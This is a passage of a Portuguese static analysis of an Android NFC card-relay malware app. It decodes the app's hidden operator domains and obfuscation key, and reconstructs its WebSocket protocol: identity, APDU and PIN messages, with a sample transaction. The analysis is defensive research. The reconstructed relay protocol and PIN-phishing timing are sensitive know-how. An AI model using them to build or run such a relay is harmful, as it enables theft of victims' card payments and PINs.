api-e-integracoes.md — contratos de rede observados

Nada foi chamado. Todos os domínios abaixo foram obtidos por leitura estática do DEX. Não houve requisição aos servidores, não foram usadas credenciais e o backend não foi "recuperado": o que segue é o contrato observado no cliente.

1. Como os domínios estavam escondidos

Dois esquemas, ambos em defpackage/bs.java (classe bs):

(a) Reversão de string — com.totalsecure.utils.UtilZ0Y480.decode() inverte a string:

Método em bs String embutida Valor real
getWebUrl() "epirg.draobhsad//:sptth" https://dashboard.gripe
getHttpUrl() "epirg.draobhsad//:sptth" https://dashboard.gripe
getPanelStatusUrl() "sutats/ipa/epirg.draobhsad//:sptth" https://dashboard.gripe/api/status
getWsUrl() "yaler-sw/epirg.draobhsad//:ssw" wss://dashboard.gripe/ws-relay

(b) base64 + XOR de 4 bytes (chave {42, 31, 55, 13}, bs.x()), métodos privados _a(), _b(), _c(), _d():

Método Blob Valor decodificado Uso
_a() XWxENwUwQH4EfEJ9XXBFYU58Qn0EbF55Tw== wss://ws.cupworldcup.site não referenciado
_b() QmtDfVklGCJdelUjSWpHekVtW2lJakcjWXZDaA== https://web.cupworldcup.site não referenciado
_c() idêntico a _b() https://web.cupworldcup.site não referenciado
_d() QmtDfVklGCJLb14jSWpHekVtW2lJakcjWXZDaAV+R2QFbENsXmpE https://api.cupworldcup.site/api/status não referenciado

fm5oo1jxl apenas expõe bs.getWsUrl() / bs.getWebUrl() / bs.getPanelStatusUrl() como constantes (a086wc0daqk, a0i932lzo, a0l, a1gfkfn6pmcg4pznxmjj). As três URLs de cupworldcup.site são código morto neste APK — nenhuma chamada, nenhuma referência — mas revelam infraestrutura do mesmo autor (mesma cifra, mesma estrutura de caminhos /api/status).

2. Inventário de endpoints observados

# Método URL Quem usa Autenticação Observação
1 GET (WebView) https://dashboard.gripe/?step=<etapa>&session_id=<id> ReFragment.goStep() nenhuma etapas: (vazio), cartao-aproximado, finalizado; a página é servida pelo operador
2 WSS wss://dashboard.gripe/ws-relay vo5bwh (OkHttp 4.9.3) nenhuma (sem header, sem token, sem cookie) canal de APDUs e do PIN
3 GET https://dashboard.gripe/api/status MainActivity.painelStatusUrl — declarada e nunca usada (campo morto)
4 WSS wss://ws.cupworldcup.site — — código morto (bs._a)
5 GET https://web.cupworldcup.site — — código morto (bs._b/_c)
6 GET https://api.cupworldcup.site/api/status — — código morto (bs._d)

Domínios: dashboard.gripe (ativo) e cupworldcup.site (legado). Nenhum outro http(s)/wss foi encontrado no DEX fora de bibliotecas (varredura de 700 literais http no classes.dex: todos OkHttp/AndroidX/schemas XML).

3. Contrato do WebSocket (reconstruído de vo5bwh.java, vn9w9z8k.java, ye0.java)

3.1 Conexão

// vo5bwh.<init>(wsUrl, sessionId)
OkHttpClient client = new OkHttpClient.Builder()
        .pingInterval(15, TimeUnit.SECONDS)      // keep-alive
        .build();
this.ws = client.newWebSocket(new Request.Builder().url(wsUrl).build(), new vn9w9z8k(this, sessionId));
scheduler.scheduleAtFixedRate(this::lambda$new$0, 3, 3, TimeUnit.SECONDS);  // reconexão / heartbeat de estado

3.2 Mensagens cliente → servidor

type/chave Payload completo Origem
identidade (ao abrir) {"role":"IsoDep","deviceReady":<bool>,"id":"<sessionId>"} vn9w9z8k.onOpen, vo5bwh.resendIdentity
status do dispositivo {"session":"<sessionId>","type":"deviceStatus","deviceReady":<bool>} sendDeviceStatus()
PIN {"session":"<sessionId>","type":"pin","deviceReady":<bool>,"pin":"<4 ou 6 dígitos>"} sendPin() ← cd.java
resposta APDU {"session":"<sessionId>","deviceReady":<bool>,"data":"<HEX maiúsculo>","direction":"response"} sendResponse(byte[])

3.3 Mensagens servidor → cliente

Formato Ação no app
{"direction":"request","data":"<HEX>"} hexStringToByteArray → entrega ao consumer → IsoDep.transceive(...)
qualquer JSON sem direction ou com outro valor ignorado silenciosamente

3.4 Fluxo de uma transação (formato do fio)

sequenceDiagram participant S as Servidor participant A as App participant C as Cartão A->>S: {"role":"IsoDep","deviceReady":false,"id":"SM-A125M_a1b2"} A->>S: {"session":"SM-A125M_a1b2","type":"deviceStatus","deviceReady":true} S->>A: {"direction":"request","data":"00A4040007A000000004101000"} A->>C: SELECT AID (PPSE/Visa) C-->>A: 6F 1E 84 07 A0 00 00 00 04 10 10 A5 13 … 90 00 A->>S: {"session":"…","deviceReady":true,"data":"6F1E84…9000","direction":"response"} S->>A: {"direction":"request","data":"80AE8000…"} (GENERATE AC) A->>C: transceive C-->>A: 80 … A->>S: {"direction":"response","data":"80…"} A->>S: {"session":"…","type":"pin","deviceReady":true,"pin":"1234"}

Macete local em ReFragment.lambda$handleTagData$10: se o comando começa com 80A8 (GET RESPONSE do GENERATE AC/CVM), a UI é trocada em runOnUiThread antes de enviar — ou seja, a tela muda para pedir o PIN exatamente no momento da verificação de CVM do cartão. [comprovado]

3.5 Tratamento de erro

Situação Comportamento Evidência
transceive lança exceção Thread.sleep(200), evento de monitoramento, UI volta para "aguardando"; nenhuma retentativa do APDU ReFragment.java:181-188
tag perdida / IsoDep desconectado loop de 1 s em isConnected() → handleNfcTagLost() → goStep("?step=") + Toast "Cartão NFC perdido ou removido" ReFragment.java:158-164, 192-206
WebSocket fecha/falha onClosed/onClosing/onFailure → marca desconectado, executa callback de UI; reconexão só se reconnectAttempts==0 vn9w9z8k.java
página não carrega onReceivedError → carrega HTML inline "Falha ao carregar a pagina" (sem detalhes) bd.java
JSON inválido do servidor catch (Exception unused) — descartado vn9w9z8k.onMessage

4. Segurança do canal (avaliação)

Item Observação
TLS wss:// e https://; network_security_config bloqueia HTTP claro; sem pinning
Autenticação inexistente — qualquer cliente que fale o JSON pode se declarar um IsoDep
Autorização inexistente — nenhum vínculo entre sessão e operador
Integridade sem assinatura/HMAC nas mensagens; APDU em hex puro
Anti-replay sem nonce; session_id derivado de dados do aparelho, reutilizável
Ofuscação de tráfego nenhuma; o PIN trafega em texto claro dentro do TLS como campo "pin"

5. SDKs e integrações de terceiros

SDK Uso Evidência
OkHttp 4.9.3 (+ Okio) HTTP/WebSocket okhttp3/internal/Util.java:82 → userAgent = "okhttp/4.9.3"; 131+50 classes
org.json montagem/parse das mensagens 22 classes; vo5bwh, vn9w9z8k
AndroidX (appcompat, fragment, constraintlayout, navigation, lifecycle, startup, profileinstaller, emoji2, recyclerview, viewpager2, savedstate, compose-ui) UI/inicialização 111 classes
Material Components (com.google.android.material) tema/estilos 90 classes
Nenhum SDK de pagamento, adquirente, banco, analytics, push (FCM), crash reporting, ou atribuição — ausência de com.google.firebase, com.facebook, com.crashlytics, com.adjust, etc.

Ou seja: a única integração externa é o próprio servidor de relay. Não há telemetria de terceiros.

6. Credenciais e segredos

Varredura do classes.dex (21.858 strings) por Bearer, token, api_key, apikey, secret, password, @gmail: nenhuma chave, token ou credencial encontrada. O modelo de confiança não usa autenticação — o "segredo" é o próprio cartão da vítima. Nada foi mascarado porque nada existe para mascarar; as únicas credenciais envolvidas na execução foram as do proxy (mascaradas e removidas — ver README.md §6).